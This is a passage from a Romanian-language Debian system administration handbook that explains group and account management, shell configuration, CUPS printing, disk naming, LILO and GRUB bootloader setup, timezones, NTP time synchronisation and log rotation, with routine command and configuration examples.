care nu aparțin. Dacă grupul este protejat prin parolă, va trebui să furnizeze parola corespunzătoare înainte de
executarea comenzii.
Alternativ, utilizatorul poate seta bitul setgid în director, ceea ce face ca fișierele create în acel director să
aparțină automat grupului corect. Pentru mai multe detalii, consultați bara laterală “Directorul setgid și sticky
bit” pagina 174.
Comanda id afișează starea curentă a unui utilizator, cu identificatorul personal (variabila uid), grupul
principal curent (variabila gid) și lista grupurilor din care fac parte (variabila groups).

Comenzile addgroup și delgroup adaugă sau șterge un grup, respectiv. Comanda groupmod modifică
informațiile unui grup (gid sau identificatorul). Comanda gpasswd -group modifică parola pentru grup, în
timp ce comanda gpasswd -r group îl șterge.

SFAT Comanda getent (obțineți intrări) verifică bazele de date ale sistemului în mod standard, folosind funcțiile de
getent bibliotecă corespunzătoare, care la rândul lor apelează la modulele NSS configurate în dosarul
/etc/nsswitch.conf. Comanda ia unul sau două argumente: numele bazei de date de verificat și o posibilă
cheie de căutare. Astfel, comanda getent passwd dogg va oferi informațiile din baza de date a
utilizatorului cu privire la dogg.

8.5. Crearea conturilor

Una dintre primele acțiuni pe care trebuie să le facă un administrator atunci când configurează o mașină
nouă este crearea de conturi de utilizator. Acest lucru se face de obicei folosind comanda adduser care ia
ca argument un nume de utilizator, pentru a fi creat noul utilizator.
Comanda adduser pune câteva întrebări înainte de a crea contul, dar utilizarea acestuia este destul de
simplă. Fișierul său de configurare, /etc/adduser.conf, include toate setările importante: poate fi utilizat
pentru a seta automat o cotă-parte pentru fiecare utilizator nou, prin crearea unui șablon de utilizator sau
pentru a schimba locația conturilor de utilizator utilizatorului; acesta din urmă este foarte rar de folos, dar
este util atunci când aveți un număr mare de utilizatori și doriți să împărțiți conturile lor pe mai multe discuri,
de exemplu. Puteți alege, de asemenea, un shell diferit.

NOȚIUNI DE BAZĂ Termenul ”quota” (”cotă-parte”) se referă la o limită a resurselor mașinii pe care un utilizator are permisiunea să
Quota o utilizeze. Aceasta se referă frecvent la spațiul pe disc.

Crearea unui cont populează directorul principal al utilizatorului cu conținutul șablonului /etc/skel/.
Aceasta oferă utilizatorului un set de directoare standard și fișiere de configurare.
În unele cazuri, va fi util să adăugați un utilizator la un grup (altul decât grupul “main” implicit) pentru a le
acorda permisiuni suplimentare. De exemplu, un utilizator inclus în grupul audio poate accesa dispozitive
audio (consultați bara laterală “Permisiunile de acces la dispozitiv” pagina 145). Acest lucru poate fi obținut cu o
comandă cum ar fi adduser user group.

NOȚIUNI DE BAZĂ Fiecare dispozitiv periferic hardware este reprezentat în Unix cu un fișier special, de obicei stocat în arborele de
Permisiunile de acces la fișiere în /dev/ (DEVices). Două tipuri de fișiere speciale există în funcție de natura dispozitivului: fișiere
dispozitiv „mod caractere” și “mod bloc”, fiecare mod permițând doar un număr limitat de operații. În timp ce modul de
caractere limitează interacțiunea cu operațiile de citire/scriere, modul bloc permite, de asemenea, căutarea în
datele disponibile. În sfârșit, fiecare fișier special este asociat cu două numere (“major” și “minor”) care
identifică dispozitivul pe kernel într-o manieră unică. Un astfel de fișier, creat prin comanda mknod, conține pur
și simplu un nume simbolic (și mai ușor uman).
Permisiunile unui fișier special mapează permisiunile necesare pentru a accesa dispozitivul în sine. Astfel, un
fișier precum /dev/mixer, care reprezintă mixerul audio, are permisiuni de citire/scriere pentru utilizatorul
rădăcină și membrii grupului audio. Doar acești utilizatori pot folosi mixerul audio.
Trebuie menționat, combinația de udev, consolekit și policykit poate adăuga permisiuni suplimentare pentru a
permite utilizatorilor conectați fizic la consolă (și nu prin rețea) să acceseze anumite dispozitive.

145
8.6. Shell environment
Interpretorii de comandă (sau shell-urile) pot fi primul punct de contact al utilizatorului cu computerul și prin
urmare, trebuie să fie destul de prietenoase. Majoritatea folosesc scripturi de inițializare care permit
configurarea comportamentului lor (completare automată, text prompt etc.).
Shell-ul standard, bash, folosește scriptul de inițializare /etc/bash.bashrc pentru shell-uri “interactive” și
/etc/profile pentru shell-uri de “autentificare”.

NOȚIUNI DE BAZĂ În termeni simpli, un shell de conectare este invocat atunci când vă conectați la consolă local sau de la distanță
Login shell și shell (non) prin ssh sau când executați o comandă explicită bash --login. Indiferent dacă este un shell de conectare
interactiv sau nu, un shell poate fi interactiv (într-un terminal xterm -type); sau non-interactiv (atunci când executați
un script).

DESCOPERIRE Fiecare interpretor de comandă are o sintaxă specifică și propriile fișiere de configurare. Astfel, zsh folosește /
Alte shell-uri, alte scripturi etc/zshrc și /etc/zshenv; csh folosește /etc/csh.cshrc, /etc/csh.login și
/etc/csh.logout. Paginile de manual pentru aceste programe documentează fișierele pe care le utilizează.

Pentru comanda bash, este util să activați “completarea automată” în fișierul /etc/bash.bashrc (pur și
simplu, decomentați câteva rânduri).

NOȚIUNI DE BAZĂ Mulți interpretori de comandă oferă o caracteristică de finalizare, care permite completarea automată a shell-ului
Completarea automată unui nume sau argument parțial tastat atunci când utilizatorul apasă tasta Tab. Acest lucru permite utilizatorilor
să lucreze mai eficient și să fie mai puțin predispuși la erori.
Această funcție este foarte puternică și flexibilă. Este posibil să-și configureze comportamentul în funcție de
fiecare comandă. Astfel, primul argument care urmează comenzii apt va fi propus în conformitate cu sintaxa
acestei comenzi, chiar dacă nu se potrivește cu niciun fișier (în acest caz, opțiunile posibile sunt install,
remove, upgrade etc.).
Pachetul bash-complete conține completări pentru majoritatea programelor obișnuite.

NOȚIUNI DE BAZĂ Tabelul este adesea folosit pentru a indica directorul la care este punctată variabila de mediu, HOME (fiind
Tilda (~), o scurtătură pentru directorul de acasă al utilizatorului, cum ar fi /home/dogg/). Interpretorii de comandă fac automat substituția:
HOME ~/hello.txt devine /home/dogg/hello.txt.
Tilda permite, de asemenea, accesul la directorul de acasă al altui utilizator. Astfel, ~rmas/bonjour.txt
este sinonim cu /home/rmas/bonjour.txt.

Pe lângă aceste scripturi comune, fiecare utilizator își poate crea propriul ~/.bashrc și ~/.bash_profile
pentru a-și configura shell-ul. Cele mai frecvente modificări sunt adăugarea de aliasuri; Este vorba despre
cuvinte care sunt înlocuite automat cu executarea unei comenzi, ceea ce face mai rapidă invocarea acelei
comenzi. De exemplu, puteți crea aliasul la pentru comanda ls -la | less; atunci trebuie doar să tastați
la pentru a inspecta conținutul unui director în detaliu.

NOȚIUNI DE BAZĂ Variabilele de mediu permit stocarea setărilor globale pentru shell sau diferite alte programe numite. Sunt
Environment variables contextuale (fiecare proces are propriul set de variabile de mediu), dar moștenite. Această ultimă caracteristică
oferă posibilitatea ca un shell de autentificare să declare variabile care vor fi transmise tuturor programelor pe
care le execută.

Setarea variabilelor implicite de mediu este un element important al configurației shell-ului. Lăsând la o parte
variabilele specifice unui shell, este de preferat să le așezați în fișierul /etc/environment, deoarece este
utilizat de diferitele programe care pot iniția o sesiune shell. Variabilele definite de obicei acolo includ
ORGANIZATION, care conține de obicei numele companiei sau organizației și HTTP_PROXY, care indică
existența și locația unui HTTP proxy.

SFAT Utilizatorii doresc adesea să își configureze autentificarea și shell-urile interactive în același mod. Pentru a face
Toate shell-urile configurate acest lucru, ei aleg să interpreteze (sau chiar să ”creeze”) conținutul din ~/.bashrc din fișierul
identic ~/.bash_profile. Este posibil să faceți același lucru cu fișiere comune tuturor utilizatorilor (apelând la
/etc/bash.bashrc din /etc/profile).

146
8.7. Printer configuration
Configurarea imprimantei este cea care provoacă numeroase dureri de cap atât pentru administratori cât și
pentru utilizatori. Aceste dureri de cap sunt acum mai ales de domeniul trecutului datorită CUPS, server-ul de
imprimare liber care utilizează protocolul IPP (Internet Printing Protocol).
Debian distribuie CUPS, împărțit pe mai multe pachete Debian: Inima sistemului este scheduler, cupsd, care
se află în pachetul cups-daemon. cups-client conține programe utilitare pentru a interacționa cu server-ul, cupsd.
Probabil cel mai important utilitar este lpadmin, deoarece este crucial pentru configurarea unei imprimante,
dar există și facilități pentru dezactivarea sau activarea unei cozi de imprimare, vizualizarea sau ștergerea
lucrărilor de imprimare și afișarea sau setarea opțiunilor imprimantei. CUPS framework se bazează pe
sistemul System V printing, dar există un pachet de compatibilitate, cups-bsd, care permite utilizarea
comenzilor precum lpr, lpq și lprm din tradiționalul BSD printing system.

COMUNITATE CUPS este un proiect și o marcă comercială, gestionat de Apple, Inc. Înainte de achiziția acestuia era cunoscut
CUPS de Common Unix Printing System.
➨ http://www.cups.org/

Scheduler gestionează lucrările de imprimare, și aceste lucrări traversează un sistem de filtrare pentru a
produce un fișier pe care imprimanta îl va înțelege și îl va imprima. Sistemul de filtrare este asigurat de
pachetele cups-filters (https://salsa.debian.org/printing-team/cups-filters) împreună cu pachetele printer-driver- *.
CUPS în combinație cu cups-filters și printer-driver-* este baza pentru sistemul de imprimare Debian.
Imprimantele moderne fabricate și vândute în ultimii zece ani sunt aproape întotdeauna compatibile cu
AirPrint, iar CUPS și cups-filters pe Debian Buster au tot ce este necesar pentru a profita de această
facilitate din rețea. În esență, aceste imprimante sunt imprimante IPP și se potrivesc excelent pentru un
sistem de imprimare fără driver, reducând sistemul la CUPS plus cups-filters. Se poate renunța la un pachet
printer-driver, iar non-free printing software de la furnizori precum Canon și Brother nu mai este necesar. O
imprimantă conectată USB poate profita de o imprimantă modernă cu pachetul ippusbxd.
Comanda apt install cups va instala CUPS și cups-filters. De asemenea, va instala driver-ul
recomandat, printer-driver-gutenprint, oferit pentru o gamă largă de imprimante, dar, cu excepția cazului în
care imprimanta funcționează fără driver, ar putea fi necesară un printer-driver alternativ pentru dispozitivul
respectiv.
Ca pachet recomandat de cups-daemon, cups-browsed va fi în sistem și în cozi de imprimare în rețea, iar
imprimantele moderne pot fi descoperite și configurate automat din DNS-SD broadcast (Bonjour). Imprimantele
USB vor trebui configurate manual așa cum este descris în paragraful următor.
După instalarea acestor pachete diferite, cups este administrat cu ușurință printr-o interfață web accesibilă
din adresa locală: http://localhost:631/. Acolo puteți adăuga și elimina imprimante USB și de rețea și
puteți administra cele mai multe aspecte ale comportamentului lor. Sarcini de administrare similare pot fi
efectuate și prin interfața grafică furnizată de un mediu desktop sau de system-config-printer (din
pachetul Debian cu același nume).

8.8. Configurarea bootloader

Probabil, bootloader-ul este deja funcțional, dar este întotdeauna bine să știți cum să configurați și să instalați
încărcătorul de inițializare, în cazul în care acesta dispare din înregistrarea principală de pornire. Acest lucru
poate apărea după instalarea unui alt sistem de operare, cum ar fi Windows. Următoarele informații vă pot
ajuta, de asemenea, să modificați configurația bootloader-ului, dacă este necesar.

NOȚIUNI DE BAZĂ Master Boot Record (MBR) ocupă primii 512 octeți ai primului hard disk și este primul lucru încărcat de BIOS
Înregistrare de inițializare pentru a preda controlul unui program capabil să pornească sistemul de operare dorit. În general, un bootloader
principală este instalat în MBR, eliminând conținutul anterior.

8.8.1. Identificarea discurilor

CULTURĂ Directorul /dev/ găzduiește, în mod tradițional, așa-numitele fișiere ”speciale”, destinate să reprezinte
udev și /dev/ periferice de sistem (a se vedea bara laterală “Permisiunile de acces la dispozitiv” pagina 145).

147
 Cândva a conținut toate fișierele speciale care ar putea fi utilizate. Această abordare a avut o serie de
dezavantaje, printre care și faptul că a restricționat numărul de dispozitive pe care le-ar putea folosi (din cauza
listei de nume greu codificat) și că este imposibil de știut ce fișiere speciale sunt de fapt utile.
Astăzi, gestionarea fișierelor speciale este în întregime dinamică și se potrivește mai bine naturii dispozitive de
calculator care pot fi schimbate la cald. Nucleul cooperează cu udev (secțiunea 9.11.3. “Cum funcționează
udev” pagina 185) pentru a le crea și șterge la nevoie, atunci când dispozitivele corespunzătoare apar și dispar. Din
acest motiv, /dev/ nu trebuie să fie persistent și prin urmare, este un sistem de fișiere bazat pe RAM care
începe gol și conține doar intrările relevante.
Nucleul comunică o mulțime de informații despre orice dispozitiv nou adăugat și transmite o pereche de numere
majore/minore pentru a-l identifica. Cu acest udevd puteți crea fișierul special sub numele și cu permisiunile pe
care le dorește. De asemenea, poate crea alias și efectua acțiuni suplimentare (cum ar fi inițializarea sau sarcinile
de înregistrare). Comportamentul comenzii udevd este determinat de un set mare de reguli (personalizabile).
Cu nume alocate dinamic, puteți păstra același nume pentru un dispozitiv dat, indiferent de conectorul folosit
sau de ordinea de conectare, care este utilă în special atunci când utilizați diferite periferice USB. Prima partiție
de pe primul hard disk poate fi numită /dev/sda1 pentru compatibilitate înapoi, sau /dev/root-
partition dacă doriți, sau chiar ambele la în același timp de când udevd poate fi configurat pentru a crea
automat o legătură simbolică.
La începuturi, unele module de kernel se încărcau automat atunci când încercați să accesați fișierul de dispozitiv
corespunzător. Acesta nu mai este cazul, iar fișierul special al perifericului nu mai există înainte de încărcarea
modulului; acest lucru nu este mare, deoarece majoritatea modulelor sunt încărcate pe boot, datorită detectării
automate a hardware-ului. Dar pentru periferice nedetectabile (cum ar fi unitate de disc foarte vechi sau PS/2
mice), acest lucru nu funcționează. Luați în considerare adăugarea modulelor floppy, psmouse și
mousedev la /etc/modules pentru a forța încărcarea acestora la boot.

Configurarea bootloader-ului trebuie să identifice diferitele hard disk-uri și partițiile lor. Linux folosește fișierele
speciale “block” stocate în directorul /dev/, în acest scop. De la Debian Squeeze, schema de denumire
pentru discurile dure a fost unificată de nucleul Linux și toate hard disk-urile (IDE/PATA, SATA, SCSI, USB,
IEEE 1394) sunt acum reprezentate de /dev/sd*.
Fiecare partiție este reprezentată de numărul său de pe discul pe care se află: de exemplu, /dev/sda1
este prima partiție pe primul disc, iar /dev/sdb3 este a treia partiție de pe al doilea disc.
Arhitectura PC (sau “i386”, inclusiv vărul său mai tânăr “amd64”) s-a limitat de mult la utilizarea formatului
tabelului de partiții “MS-DOS”, care permite doar patru partiții “primare” pe disc. Pentru a depăși această
limitare în cadrul acestei scheme, una dintre ele trebuie creată ca o partiție “extinsă”, apoi poate conține
partiții “secundare” suplimentare. Aceste partiții secundare sunt numerotate de la 5. Astfel, prima partiție
secundară ar putea fi /dev/sda5, urmată de /dev/sda6 etc.
O altă restricție a formatului tabelei de partiții MS-DOS este aceea că permite doar discuri cu dimensiunea
de până la 2 TiB, ceea ce devine o problemă reală cu discurile recente.
Un nou format de tabel de partiții numit GPT scapă de aceste constrângeri în ceea ce privește numărul de
partiții (permite până la 128 de partiții atunci când folosiți setări standard) și pe dimensiunea discurilor (până
la 8 ZiB, care este mai mare de 8 miliarde de terabytes). Dacă intenționați să creați mai multe partiții fizice pe
același disc, așadar, trebuie să vă asigurați că veți crea tabela de partiții în format GPT atunci când
partiționați discul.
Nu este întotdeauna ușor să ne amintim ce disc este conectat la care controler SATA, sau în a treia poziție
în lanțul SCSI, mai ales că denumirea hard disk-urilor cu conectare la cald (care include printre altele
majoritatea discurilor SATA și a discurilor externe) se poate schimba de la un boot la altul. Din fericire, udev
creează, pe lângă /dev/sd*, legături simbolice cu un nume fix, pe care îl puteți folosi dacă doriți să
identificați un hard disk într-un manieră non-ambiguă. Aceste legături simbolice sunt stocate în /dev/disk
by-id. Pe o mașină cu două discuri fizice, de exemplu, puteți găsi următoarele:

mirexpress:/dev/disk/by-id# ls -l
total 0
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part1 -> ../../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-STM3500418AS_9VM3L3KP-part2 -> ../../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697 ->
⮩ ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-
⮩ part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 ata-WDC_WD5001AALS-00L3B2_WD-WCAT00241697-
⮩ part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part1 -> ../

148
 ⮩ ../sda1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_STM3500418AS_9VM3L3KP-part2 -> ../
⮩ ../sda2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697 ->
⮩ ../../sdb
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-
⮩ part1 -> ../../sdb1
lrwxrwxrwx 1 root root 10 23 jul. 08:58 scsi-SATA_WDC_WD5001AALS-_WD-WCAT00241697-
⮩ part2 -> ../../sdb2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0 ->
⮩ ../../sdc
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part1 ->
⮩ ../../sdc1
lrwxrwxrwx 1 root root 10 23 jul. 16:48 usb-LaCie_iamaKey_3ed00e26ccc11a-0:0-part2 ->
⮩ ../../sdc2
[...]
lrwxrwxrwx 1 root root 9 23 jul. 08:58 wwn-0x5000c50015c4842f -> ../../sda
lrwxrwxrwx 1 root root 10 23 jul. 08:58 wwn-0x5000c50015c4842f-part1 -> ../../sda1
[...]
mirexpress:/dev/disk/by-id#

Rețineți că, unele discuri sunt enumerate de mai multe ori (deoarece se comportă simultan ca discuri ATA și
discuri SCSI), dar informațiile relevante se află în principal în modelul și numerele de serie ale discurilor, din
care puteți găsi fișierul periferic.
Fișierele de configurare date ca exemplu în secțiunile următoare se bazează pe aceeași configurare: un
singur disc SATA, unde prima partiție este o instalație Windows veche și a doua conține Debian GNU/Linux.

8.8.2. Configurarea LILO

Încărcătorul LInux, LILO (LInux LOader), este cel mai vechi sistem de încărcare — solid, dar rustic. El scrie
adresa fizică a kernel-ului pentru a porni pe MBR, motiv pentru care fiecare actualizare la LILO (sau fișierul
de configurare) trebuie să fie urmată de comanda lilo. Uitarea acestui lucru va face ca un sistem să nu
poată porni dacă nucleul vechi a fost eliminat sau înlocuit, deoarece cel nou nu va fi în aceeași locație pe
disc.
Fișierul de configurare pentru LILO este /etc/lilo.conf; un fișier simplu pentru configurare standard
este ilustrat în exemplul de mai jos.

Exemplul 8.4 Fișierul de configurare LILO

# The disk on which LILO should be installed.

# By indicating the disk and not a partition.
# you order LILO to be installed on the MBR.
boot=/dev/sda
# the partition that contains Debian
root=/dev/sda2
# the item to be loaded by default
default=Linux

# the most recent kernel image

image=/vmlinuz
label=Linux
initrd=/initrd.img
read-only

# Old kernel (if the newly installed kernel doesn't boot)

image=/vmlinuz.old
label=LinuxOLD
initrd=/initrd.img.old
read-only
optional

# only for Linux/Windows dual boot

other=/dev/sda1
label=Windows

149
8.8.3. Configurare GRUB 2
GRUB (GRand Unified Bootloader) este mai recent. Nu este necesar să-l invocați după fiecare actualizare a
nucleului; GRUB știe să citească sistemele de fișiere și să găsească singur poziția kernel-ului pe disc. Pentru
a-l instala pe MBR-ul primului disc, introduceți pur și simplu grub-install /dev/sda.

REȚINEȚI GRUB poate identifica hard disk-uri numai pe baza informațiilor furnizate de BIOS. (hd0) corespunde primului
Numele discurilor pentru disc astfel detectat, (hd1) al doilea, etc. În cele mai multe cazuri, această ordine corespunde exact ordinii
GRUB obișnuite a discurilor în Linux, dar pot apărea probleme atunci când asociați discuri SCSI și IDE. GRUB
stochează corespondențele pe care le detectează în fișierul /boot/grub/device.map. GRUB evită această
problemă în zilele noastre prin utilizarea UUID-urilor sau a etichetelor sistemului de fișiere atunci când se
generează grub.cfg. Cu toate acestea, fișierul cu maparea dispozitivului nu este încă depășit, deoarece poate
fi folosit pentru a suprascrie atunci când mediul curent este diferit de cel de la pornire. Dacă găsiți erori acolo
(deoarece știți că BIOS-ul dvs. detectează unitățile într-o altă ordine), corectați-le manual și rulați grub-
install din nou. grub-mkdevicemap vă poate ajuta la crearea unui fișier device.map de la care să
porniți.
Partițiile au, de asemenea, o denumire specifică în GRUB. Când utilizați partiții “clasice” în format MS-DOS,
prima partiție de pe primul disc este etichetată, (hd0, msdos1), a doua (hd0, msdos2) etc.

Configurația GRUB 2 este stocată în /boot/grub/grub.cfg, dar acest fișier (în Debian) este generat de
la alții. Aveți grijă să nu o modificați manual, deoarece astfel de modificări locale se vor pierde la următoarea
execuție a update-grub (care poate apărea la actualizarea diferitelor pachete). Cele mai frecvente
modificări ale fișierului /boot/grub/grub.cfg (pentru a adăuga parametrii liniei de comandă la kernel sau
pentru a modifica durata afișată meniului, de exemplu) se realizează prin variabilele din
/etc/default/grub. Pentru a adăuga intrări în meniu, puteți crea fișierul /boot/grub/custom.cfg
sau puteți modifica fișierul /etc/grub.d/40_custom. Pentru configurații mai complexe, puteți modifica
alte fișiere din /etc/grub.d sau le puteți adăuga; aceste scripturi ar trebui să returneze fragmente de
configurare, eventual folosind programe externe. Aceste scripturi sunt cele care vor actualiza lista de
nucleele de inițializare: 10_linux ia în considerare nucleele Linux instalate; 20_linux_xen ia în calcul
sistemele virtuale Xen, iar 30_os-prober enumeră alte sisteme de operare (Windows, OS X, Hurd).

8.9. Alte configurări: sincronizarea timpului, jurnale, acces la

partajare...
Numeroasele elemente enumerate în această secțiune sunt bune de cunoscut pentru oricine dorește să
stăpânească toate aspectele de configurare a sistemului GNU/Linux, AcademiX în particular, și în general al
lui Debian. Cu toate acestea, sunt tratate pe scurt și se referă frecvent la documentație.

8.9.1. Timezone
NOȚIUNI DE BAZĂ O legătură simbolică este un indicator către un alt fișier. Când îl accesați, fișierul către care se îndreaptă este
Legături simbolice deschis. Eliminarea legăturii nu va provoca ștergerea fișierului către care se îndreaptă. De asemenea, nu are
propriul set de permisiuni, ci păstrează mai degrabă permisiunile vizate. În cele din urmă, poate indica orice tip
de fișier: directoare, fișiere speciale (prize, conducte numite, fișiere dispozitiv, etc.), chiar și alte legături
simbolice.
Comanda ln -starget link-name creează o legătură simbolică, numită link-name, indicând spre țintă.
Dacă ținta nu există, atunci legătura este “ruptă” și accesarea acesteia va duce la o eroare care indică faptul că
fișierul țintă nu există. Dacă legătura indică un alt link, veți avea un “lanț” de legături care se transformă într-un
“ciclu” dacă una dintre ținte indică unul dintre predecesorii săi. În acest caz, accesarea uneia dintre legăturile din
ciclu va duce la o eroare “prea multe niveluri de legături simbolice”); acest lucru înseamnă că nucleul a renunțat
după câteva runde ale ciclului.

Fusul orar, configurat în timpul instalării inițiale, este un element de configurare pentru pachetul tzdata.
Pentru a-l modifica, utilizați comanda dpkg-reconfigure tzdata, care vă permite să alegeți fusul orar
pentru a fi utilizat într-o manieră interactivă. Configurația sa este stocată în fișierul /etc/timezone. În plus,
fișierul corespunzător din directorul /usr/share/zoneinfo este copiat în /etc/localtime; acest fișier
conține regulile care reglementează datele la care este activă ora de vară pentru țările care îl folosesc.
Când trebuie să modificați temporar fusul orar, folosiți variabila de mediu TZ, care are prioritate față de
valoarea implicită a sistemului configurat:

150
$ date
Wed 13 Jan 2021 12:00:50 AM CET
$ TZ="Europe/Bucharest" date
Wed 13 Jan 2021 01:01:11 AM EET
$ TZ="Europe/London" date
Tue 12 Jan 2021 11:01:39 PM GMT

REȚINEȚI Există două surse de timp pe un computer. Placa de bază a computerului are un ceas hardware, numit “ceas
System clock, hardware clock CMOS”. Acest ceas nu este foarte precis și oferă oarecum un acces lent la timp. Nucleul sistemului de operare
are propriul său ceas de software, care este la curent cu propriile mijloace (eventual cu ajutorul server-elor de
timp, a se vedea secțiunea 8.9.2. “Sincronizarea timpului” pagina 151). Acest ceas al sistemului este în general mai
precis, mai ales că nu are nevoie de acces la variabilele hardware. Cu toate acestea, din moment ce există doar în
memoria live, aceasta este anulată la fiecare pornire a aparatului, contrar ceasului CMOS, care are o baterie și
prin urmare, “supraviețuiește” repornirii sau opririi mașinii. Prin urmare, ceasul sistemului este setat din ceasul
CMOS în timpul pornirii, iar ceasul CMOS este actualizat la închidere (pentru a lua în considerare posibilele
modificări sau corecții dacă a fost ajustat în mod necorespunzător).
În practică, există o problemă, deoarece ceasul CMOS nu este altceva decât un contor și nu conține informații cu
privire la fusul orar. Există posibilitatea de a alege în ceea ce privește interpretarea sa: fie sistemul consideră că
funcționează în timp universal (UTC, anterior GMT), fie în ora locală. Această alegere ar putea fi o schimbare
simplă, dar lucrurile sunt de fapt mai complicate: ca urmare a timpului de vară, această compensare nu este
constantă. Rezultatul este că sistemul nu are cum să stabilească dacă compensarea este corectă, mai ales în jurul
perioadelor de schimbare a timpului. Întrucât este întotdeauna posibil să reconstruim ora locală din ora
universală și din informațiile despre fusul orar, recomandăm cu tărie utilizarea ceasului CMOS în timp universal.
Din păcate, sistemele Windows în configurația lor implicită ignoră această recomandare; păstrează ceasul CMOS
la ora locală, aplicând modificări de timp la pornirea computerului, încercând să ghicească în timpul
schimbărilor, dacă modificarea a fost deja aplicată sau nu. Acest lucru funcționează relativ bine, atât timp cât
aveți doar Windows care funcționează pe calculator. Dar când un computer are mai multe sisteme (fie că este o
configurație “dual-boot” sau rulează alte sisteme prin intermediul unei mașini virtuale), continuă haosul, fără a
stabili dacă timpul este corect.
Dacă trebuie neapărat să rețineți Windows pe un computer, trebuie să îl configurați pentru a menține ceasul
CMOS ca UTC (setarea cheii de registru HKLM\SYSTEM\CurrentControlSet\Control\
TimeZoneInformation\RealTimeIsUniversal la “1” ca DWORD) sau să folosiți hwclock --
localtime - set pe sistemul Debian pentru a seta ceasul hardware și a marca ca urmărirea orei locale (și
asigurați-vă că verificați manual ceasul, primăvara și toamna).

8.9.2. Sincronizarea timpului

Sincronizarea timpului, care poate părea de prisos pe un computer, este foarte importantă într-o rețea.
Deoarece utilizatorii nu au permisiuni prin care să modifice data și ora, este important ca aceste informații să
fie precise pentru a preveni confuzia. În plus, toate computerele dintr-o rețea, sincronizate, permit o mai
bună referire încrucișată a informațiilor din jurnalele de pe diferite mașini. Astfel, în caz de atac, este mai
ușor să reconstruiți succesiunea cronologică a acțiunilor pe diferitele mașini implicate în compromis. Datele
colectate pe mai multe mașini în scopuri statistice nu vor avea o prea mare semnificaţie dacă nu sunt
sincronizate.

NOȚIUNI DE BAZĂ NTP (Network Time Protocol) permite unei mașini să se sincronizeze cu altele destul de precis, luând în
NTP considerare întârzierile generate de transferul informațiilor prin rețea și alte compensări posibile.
Deși există numeroase NTP server-e pe Internet, cele mai populare pot fi supraîncărcate. Acesta este motivul
pentru care vă recomandăm să folosiți pool.ntp.org NTP server, care este, în realitate, un grup de mașini care au
acceptat să servească drept NTP server publice. Ați putea limita chiar și utilizarea unui subgrup specific unei țări,
cu, de exemplu, us.pool.ntp.org pentru Statele Unite sau ca.pool.ntp.org pentru Canada etc.
Cu toate acestea, dacă gestionați o rețea mare, este recomandat să instalați propriul dvs. NTP server, care se va
sincroniza cu server-ele publice. În acest caz, toate celelalte aparate din rețeaua dvs. pot utiliza server-ul dvs.
intern NTP în loc să crească încărcarea pe server-ele publice. De asemenea, veți crește omogenitatea cu ceasurile
dvs., deoarece toate mașinile vor fi sincronizate pe aceeași sursă, iar această sursă este foarte apropiată în ceea ce
privește timpii de transfer de rețea.

8.9.2.1. Pentru stațiile de lucru

Întrucât stațiile de lucru sunt repornite în mod regulat (chiar dacă doar pentru a economisi energie),
sincronizarea acestora prin NTP la pornire este suficientă. Pentru a face acest lucru, instalați pur și simplu
pachetul ntpdate. Puteți modifica NTP server utilizat dacă este necesar modificând fișierul
/etc/default/ntpdate.

151
8.9.2.2. Pentru servere
Server-ele sunt doar rareori repornite și este foarte important ca timpul lor să fie corect. Pentru a menține
permanent ora corectă, instalați un local NTP server, un serviciu oferit în pachetul ntp. În configurația sa
implicită, server-ul se va sincroniza cu pool.ntp.org și va oferi timp ca răspuns la solicitările venite din rețeaua
locală. Puteți să-l configurați prin editarea fișierului /etc/ntp.conf, cea mai semnificativă modificare fiind
NTP server la care se referă. Dacă rețeaua are o mulțime de server-e, poate fi interesant să existe un local
time server care se sincronizează cu server-ele publice și este folosit ca sursă de timp de către celelalte
server-e ale rețelei.

ÎN DETALIU Dacă sincronizarea timpului este deosebit de crucială pentru rețeaua dvs., este posibil să dotați un server cu un
Module GPS și alte surse de modul GPS (care va folosi timpul de la sateliții GPS) sau un modul DCF-77 (care va sincroniza timpul cu ceasul
timp atomic de lângă Frankfurt, Germania). În acest caz, configurația NTP server este puțin mai complicată, iar
consultarea prealabilă a documentației este o necesitate absolută.

8.9.3. Rotirea fișierelor jurnal

Fișierele jurnal (log files) pot crește, rapid și este necesar să le arhivați. Cea mai comună schemă este o
arhivă rotativă: fișierul jurnal este arhivat în mod regulat și sunt păstrate doar cele mai recente arhive X.
logrotate, programul responsabil pentru aceste rotații, respectă directivele date în fișierul
/etc/logrotate.conf și toate fișierele din directorul /etc/logrotate.d/. Administratorul poate
modifica aceste fișiere, dacă dorește să adapteze politica de rotație a jurnalului definită de Debian. Pagina
de manual logrotate(1) descrie toate opțiunile disponibile în aceste fișiere de configurare. Poate doriți să
creșteți numărul de fișiere păstrate în rotația jurnalului sau să mutați fișierele jurnal într-un director specific
dedicat arhivării lor, în loc să le ștergeți. Le puteți trimite și prin e-mail pentru a le arhiva în altă parte.
Programul logrotate este executat zilnic de programul de planificare cron (descris în secțiunea
9.7. “Planificarea sarcinilor cu cron și atd” pagina 179).

8.9.4. Partajarea drepturilor de administrator

Frecvent, mai mulți administratori lucrează pe aceeași rețea. Împărtășirea parolelor root nu este foarte
elegantă și deschide ușa pentru abuzuri, datorită anonimatului pe care o astfel de partajare o creează.
Soluția la această problemă este programul sudo, care permite anumitor utilizatori să execute anumite
comenzi cu drepturi speciale.

